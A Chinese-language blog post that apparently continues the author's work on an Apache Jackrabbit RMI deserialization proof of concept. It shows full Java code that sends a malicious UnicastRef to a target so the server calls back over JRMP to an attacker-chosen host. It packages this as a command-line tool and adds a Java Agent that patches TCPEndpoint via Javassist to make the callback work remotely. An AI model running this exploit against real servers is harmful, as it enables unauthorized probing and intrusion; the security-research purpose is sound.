用Java Instrument插桩技术来埋Jackrabbit的坑 起因: 前段时间在博客上分享过Jackrabbit的反序列化漏洞,也写好了POC。因为是POC我就没有用CB链,而是用RMI的JRMP去做回连进行检测。往往最悠闲的时候就是最危险的时候。这个时候师父在复测POC的时候发现POC竟然打不了,,,,,,,师父说让我尽量在测试的时候不要在本地测。就因为这一句话,才有我们今天的文章(先附上JRMP的POC)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 String targetUrl = "http://10.65.14.247:8080/rmi" ; String host= "10.65.14.146" ;int port = 7878 ; java.rmi.server.ObjID objId = new java .rmi.server.ObjID(); sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun .rmi.transport.tcp.TCPEndpoint(host, port); sun.rmi.transport.LiveRef liveRef = new sun .rmi.transport.LiveRef(objId, endpoint, false );UnicastRef unicastRef = new sun .rmi.server.UnicastRef(liveRef);SimpleCredentials exp = new SimpleCredentials ("admin" ,"admin" .toCharArray()); exp.setAttribute( "admin111" ,unicastRef);Repository repository = new URLRemoteRepository (targetUrl); repository.login(exp);
我当时怀着忐忑的心情,重新测了一下。发现确实打不了。这时候我就在想为什么会打不通。我先给大家理一下他们之间的通信过程(假设我们在客户端开启JRMP监听)。
解释:
首先客户端先将恶意payload发送给服务端。
服务端处理后先返回RemoteRepositoryxr
的IP和端口
客户端请求连接服务端RemoteRepositoryxr
的IP和端口
服务端JRMP回连
整体流程大概是这样的。但是问题出在了第2步。我们看看具体的代码逻辑。
看过我之前RMI文章的朋友应该对这个类有印象。再往里跟发现来到了TCPEndPoint
发现再构造方法赋值:
我们可以看到两个参数的构造方法被调用,里面再调四个参数的构造方法,最后再给全局变量赋值。眼见的朋友已经发现问题了。服务端返回给我们的是IP地址是”192.168.56.1“,也就是说客户端接收到的是个私有地址,那客户端每次发起第四次请求的IP地址也就是这个私有地址。这怎么能访问到呢????
反思 现在我们梳理一下问题:
客户端接收的IP是私有IP,没办法到达客户端
返回的端口是随机端口,所以不能发两次请求
这个就是我们在本地测试能成功的原因。因为它返回的这个地址是VirtualBox的Host-Only,本地访问肯定是可以执行的
1 2 3 4 5 6 7 Ethernet adapter VirtualBox Host-Only Network: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::b684:6 aef:25 bc:e545%9 IPv4 Address. . . . . . . . . . . : 192.168 .56.1 Subnet Mask . . . . . . . . . . . : 255.255 .255.0 Default Gateway . . . . . . . . . :
那我们该怎么解决这个问题呢?
编写youdebug进行更改 (简单易操作) 官网有使用方法
用IDEA手动对IP进行set (不太现实,需要自动化)
利用JavaAgent+Javassist进行插桩 (正好合适)
JavaAgent 概念: JDK1.5
开始,Java
新增了Instrumentation(Java Agent API)
和JVMTI(JVM Tool Interface)
功能,允许JVM
在加载某个class文件
之前对其字节码进行修改,同时也支持对已加载的class(类字节码)
进行重新加载(Retransform
)。
利用Java Agent
这一特性衍生出了APM(Application Performance Management,应用性能管理)
、RASP(Runtime application self-protection,运行时应用自我保护)
、IAST(Interactive Application Security Testing,交互式应用程序安全测试)
等相关产品,它们都无一例外的使用了Instrumentation/JVMTI
的API
来实现动态修改Java类字节码
并插入监控或检测代码。
Java Agent
有两种运行模式:
启动Java程序
时添加-javaagent(Instrumentation API实现方式)
或-agentpath/-agentlib(JVMTI的实现方式)
参数,如java -javaagent:/data/XXX.jar LingXeTest
。
JDK1.6
新增了attach(附加方式)
方式,可以对运行中的Java进程
附加Agent
。
这两种运行方式的最大区别在于第一种方式只能在程序启动时指定Agent
文件,而attach
方式可以在Java程序
运行后根据进程ID
动态注入Agent
到JVM
。
Java Agent还限制了我们必须以jar包的形式运行或加载,我们必须将编写好的Agent程序打包成一个jar文件。除此之外,Java Agent还强制要求了所有的jar文件中必须包含/META-INF/MANIFEST.MF
文件,且该文件中必须定义好Premain-Class
(Agent模式)或Agent-Class:
(Agent模式)配置,如:
1 2 Premain-Class: com.anbai.sec.agent.CrackLicenseAgent Agent-Class: com.anbai.sec.agent.CrackLicenseAgent
如果我们需要修改已经被JVM加载过的类的字节码,那么还需要设置在MANIFEST.MF
中添加Can-Retransform-Classes: true
或Can-Redefine-Classes: true
。
简单来说Anegt就相当于是一个代理一样,我们知道java文件执行的时候先是.java文件被编译成.class文件,然后JVM利用类加载器加载.class文件。这样java代码才会被执行。而Agent的作用就是在加载之前先获取到.class文件,然后对其进行操作,在给他放行,让他按我们修改后的文件执行。
其实最主要的就是下面两个方法:
1 2 public static void premain (String args, Instrumentation inst) {}public static void agentmain (String args, Instrumentation inst) {}
我们正常java代码都有main方法,而这两个方法就是Agnet的main方法。
接收两个参数:
args:如果我们需要给Agent传入参数,就可以通过–javaagent后传入(稍后会有例子)
inst:由JVM自动传入
Instrumentation 主要看这个Instrumentation的方法(本篇主要用addTransformer方法):
java.lang.instrument.ClassFileTransformer
是一个转换类文件的代理接口,我们可以在获取到Instrumentation
对象后通过addTransformer
方法添加自定义类文件转换器。
示例中我们使用了addTransformer
注册了一个我们自定义的Transformer
到Java Agent
,当有新的类被JVM
加载时JVM
会自动回调用我们自定义的Transformer
类的transform
方法,传入该类的transform
信息(类名、类加载器、类字节码
等),我们可以根据传入的类信息决定是否需要修改类字节码,修改完字节码后我们将新的类字节码返回给JVM
,JVM
会验证类和相应的修改是否合法,如果符合类加载要求JVM
会加载我们修改后的类字节码。
ClassFileTransformer类代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package java.lang.instrument;public interface ClassFileTransformer { byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer); }
简单讲就是,我们需要实现这个接口并重写transform
方法。而这个transform
方法简单来说就是给你想要的.class文件,你修改之后再把修改之后的.class文件返回给它让他继续执行(网上看了很多文章,没有一个把这个方法讲清楚的)
Javassist 概念:
Javassist 是一个开源的分析、编辑和创建Java字节码的类库. 其主要优点在于简单快速. 直接使用 java 编码的形式, 而不需要了解虚拟机指令, 就能动态改变类的结构, 或者动态生成类.
Javassist中最为重要的是ClassPool
,CtClass
, CtMethod
以及CtField
这几个类.
ClassPool
: 一个基于Hashtable
实现的CtClass
对象容器, 其中键是类名称, 值是表示该类的CtClass
对象
CtClass
: CtClass
表示类, 一个CtClass
(编译时类)对象可以处理一个class文件, 这些CtClass
对象可以从ClassPool
获得
CtMethods
: 表示类中的方法
CtFields
: 表示类中的字段
ClassPool
getDefault
: 返回默认的ClassPool
是单例模式的,一般通过该方法创建我们的ClassPool
;
appendClassPath
, insertClassPath
: 将一个ClassPath
加到类搜索路径的末尾位置 或 插入到起始位置。通常通过该方法写入额外的类搜索路径,以解决多个类加载器环境中找不到类的尴尬;
toClass
: 将修改后的CtClass
加载至当前线程的上下文类加载器中,CtClass
的toClass
方法是通过调用本方法实现。需要注意的是一旦调用该方法,则无法继续修改已经被加载的class;
get
, getCtClass
: 根据类路径名获取该类的CtClass
对象,用于后续的编辑。
1 2 3 4 ClassPool pool = new ClassPool(true ) ; ClassPool pool1 = ClassPool . getDefault() ;
为减少ClassPool可能导致的内存消耗. 可以从ClassPool中删除不必要的CtClass对象. 或者每次创建新的ClassPool对象.
1 2 3 4 ctClass.detach(); ClassPool pool2 = new ClassPool (true );
CtClass
freeze: 冻结一个类,使其不可修改;
isFrozen : 判断一个类是否已被冻结;
prune : 删除类不必要的属性,以减少内存占用。调用该方法后,许多方法无法将无法正常使用,慎用;
defrost : 解冻一个类,使其可以被修改。如果事先知道一个类会被defrost, 则禁止调用 prune 方法;
detach : 将该class从ClassPool中删除;
writeFile : 根据CtClass生成 .class 文件;
toClass : 通过类加载器加载该CtClass。
setInterfaces: 添加父接口
setSuperclass: 添加父类
其他详细用法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 CtClass ctClass = pool.get("com.kawa.ssist.JustRun" );CtClass ctClass1 = pool.getOrNull("com.kawa.ssist.JustRun" );CtClass ctClass2 = pool.getAndRename("com.kawa.ssist.JustRun" , "com.kawa.ssist.JustRunq" );CtClass ctClass3 = pool.makeClass("com.kawa.ssist.JustRuna" );CtClass ctClass4 = pool.makeClass(new FileInputStream (new File ("/home/un/test/JustRun.class" ))); ctClass.addInterface(...); ctClass.addConstructor(...); ctClass.addField(...); ctClass.addMethod(...);Class clazz = ctClass.toClass();ClassFile classFile = ctClass.getClassFile();byte [] bytes = ctClass.toBytecode();
CtMethods/CtConstructor
insertBefore : 在方法的起始位置插入代码;
insterAfter : 在方法的所有 return 语句前插入代码以确保语句能够被执行,除非遇到exception;
insertAt : 在指定的位置插入代码;
setBody: 将方法的内容设置为要写入的代码,当方法被 abstract修饰时,该修饰符被移除;
make : 创建一个新的方法。
其他详细用法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 CtClass ctClass5 = pool.get(TestService.class.getName());CtMethod ctMethod = ctClass5.getDeclaredMethod("selectOrder" );String methodName = ctMethod.getName();CtClass returnType = ctMethod.getReturnType(); ctMethod.getLongName(); ctMethod.getSignature(); List<String> argKeys = new ArrayList <>();MethodInfo methodInfo = ctMethod.getMethodInfo();CodeAttribute codeAttribute = methodInfo.getCodeAttribute();LocalVariableAttribute attr = (LocalVariableAttribute) codeAttribute.getAttribute(LocalVariableAttribute.tag);int len = ctMethod.getParameterTypes().length;int pos = Modifier.isStatic(ctMethod.getModifiers()) ? 0 : 1 ;for (int i = pos; i < len; i++) { argKeys.add(attr.variableName(i)); } ctMethod.insertBefore("" ); ctMethod.insertAfter("" ); ctMethod.insertAt(10 , "" ); ctMethod.addParameter(CtClass); ctMethod.setName("newName" ); ctMethod.setBody("{$0.name = $1;}" ); ctMethod.make("kawa" ,CtClass);
CtFields 1 2 3 4 5 6 CtField param1 = new CtField (pool.get("java.lang.String" ), "A" , ctClass); param1.setModifiers(Modifier.PUBLIC); ctClass.addField(param1, CtField.Initializer.constant("B" ));
实操 思路:
创建Agent(premain和transform)将sun.rmi.transport.tcp.TCPEndpoint
HOOK
在transform处将HOOK的TCPEndpoint进行修改(我们这里的需求只用改它的四参构造方法)
将修改后的.class文件返回给transform
将Agent打jar包并配置resources\META-INF\MANIFEST.MF
把poc打包并接收targeturl、callbackip、callbackport参数
JRMP包: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 package test;import sun.rmi.server.UnicastRef;import org.apache.commons.cli.*;import org.apache.jackrabbit.rmi.repository.URLRemoteRepository;import javax.jcr.Repository;import javax.jcr.RepositoryException;import javax.jcr.SimpleCredentials;import java.net.MalformedURLException;public class JRMP { public static void main (String[] args) throws MalformedURLException, RepositoryException { Options options = new Options (); Option targetUrlOption = new Option ("tu" , "targeturl" , true , "Target URL" ); targetUrlOption.setRequired(true ); options.addOption(targetUrlOption); Option callbackIpOption = new Option ("ci" , "callbackip" , true , "Callback IP address" ); callbackIpOption.setRequired(true ); options.addOption(callbackIpOption); Option callbackPortOption = new Option ("cp" , "callbackport" , true , "Callback port" ); callbackPortOption.setType(Integer.class); callbackPortOption.setRequired(true ); options.addOption(callbackPortOption); CommandLineParser parser = new DefaultParser (); HelpFormatter formatter = new HelpFormatter (); CommandLine cmd; try { cmd = parser.parse(options, args); } catch (ParseException e) { System.out.println(e.getMessage()); formatter.printHelp("Apache_jackrabbit_TRUE.jar" , options); System.exit(1 ); return ; } String targetUrl = cmd.getOptionValue("targeturl" ); String callbackip = cmd.getOptionValue("callbackip" ); int callbackport = Integer.parseInt(cmd.getOptionValue("callbackport" )); String host= callbackip; int port = callbackport; java.rmi.server.ObjID objId = new java .rmi.server.ObjID(); sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun .rmi.transport.tcp.TCPEndpoint(host, port); sun.rmi.transport.LiveRef liveRef = new sun .rmi.transport.LiveRef(objId, endpoint, false ); UnicastRef unicastRef = new sun .rmi.server.UnicastRef(liveRef); SimpleCredentials exp = new SimpleCredentials ("admin" ,"admin" .toCharArray()); exp.setAttribute( "admin111" ,unicastRef); Repository repository = new URLRemoteRepository (targetUrl); repository.login(exp); } }
MANIFEST.MF:
1 2 3 4 Manifest-Version: 1.0 Main-Class: test.JRMP
Agent包 Mainagent.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 package Agent;import java.lang.instrument.Instrumentation;public class Mainagent { public static void premain (String agentArgs, Instrumentation inst) { String callbackip = null ; String targetip = null ; if (agentArgs != null && !agentArgs.isEmpty()) { String[] args = agentArgs.split("," ); for (String arg : args) { String[] keyValue = arg.split("=" ); if (keyValue.length == 2 && keyValue[0 ].trim().equals("callbackip" )) { callbackip = keyValue[1 ].trim(); } if (keyValue.length == 2 && keyValue[0 ].trim().equals("targetip" )) { targetip = keyValue[1 ].trim(); } } } System.out.println("agnet proxy has start" ); inst.addTransformer(new TAT (targetip, callbackip), true ); } }
TAT.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 package Agent;import javassist.*;import java.io.IOException;import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.IllegalClassFormatException;import java.security.ProtectionDomain;public class TAT implements ClassFileTransformer { private static final String Hook_class = "sun/rmi/transport/tcp/TCPEndpoint" ; private static final String Hook_class1 = "sun.rmi.transport.tcp.TCPEndpoint" ; public String targetip; public String callbackip; public TAT (String targetip,String callbackip) { this .targetip = targetip; this .callbackip = callbackip; } @Override public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) throws IllegalClassFormatException { if (Hook_class.equals(className)){ ClassPool pool = ClassPool.getDefault(); CtClass ctClass; try { ctClass = pool.get(Hook_class1); CtField param = new CtField (pool.get("java.lang.String" ), "targetip" , ctClass); param.setModifiers(Modifier.PUBLIC); ctClass.addField(param, CtField.Initializer.constant(targetip)); CtField param1 = new CtField (pool.get("java.lang.String" ), "callbackip" , ctClass); param1.setModifiers(Modifier.PUBLIC); ctClass.addField(param1, CtField.Initializer.constant(callbackip)); System.out.println("TAT_____targetip:" +targetip); System.out.println("TAT_____callbackip:" +callbackip); CtConstructor constructor = ctClass.getDeclaredConstructor(new CtClass []{pool.get("java.lang.String" ), CtClass.intType,pool.get("java.rmi.server.RMIClientSocketFactory" ),pool.get("java.rmi.server.RMIServerSocketFactory" )}); System.out.println("aaa" ); constructor.setBody("{listenPort = -1;\n" + " transport = null;\n" + "\n" + " if ($1 == callbackip) {\n" + " $1 = $1;\n" + " } else if ($1 ==null) {\n" + " $1 = \"\";\n" + " } else {\n" + " $1 = this.targetip;\n" + " }\n" + "\n" + " host =$1;\n" + " port = $2;\n" + " csf = $3;\n" + " ssf = $4;}" ); System.out.println("BBB" ); ctClass.writeFile(); return ctClass.toBytecode(); } catch (NotFoundException | IOException | CannotCompileException e) { throw new RuntimeException (e); } } return classfileBuffer; } }
MANIFEST.MF:
1 2 3 4 5 6 Manifest-Version: 1.0 Can-Redefine-Classes: true Can-Retransform-Classes: true Can-Set -Native-Method -Prefix : true Premain-Class : Agent.Mainagent
埋坑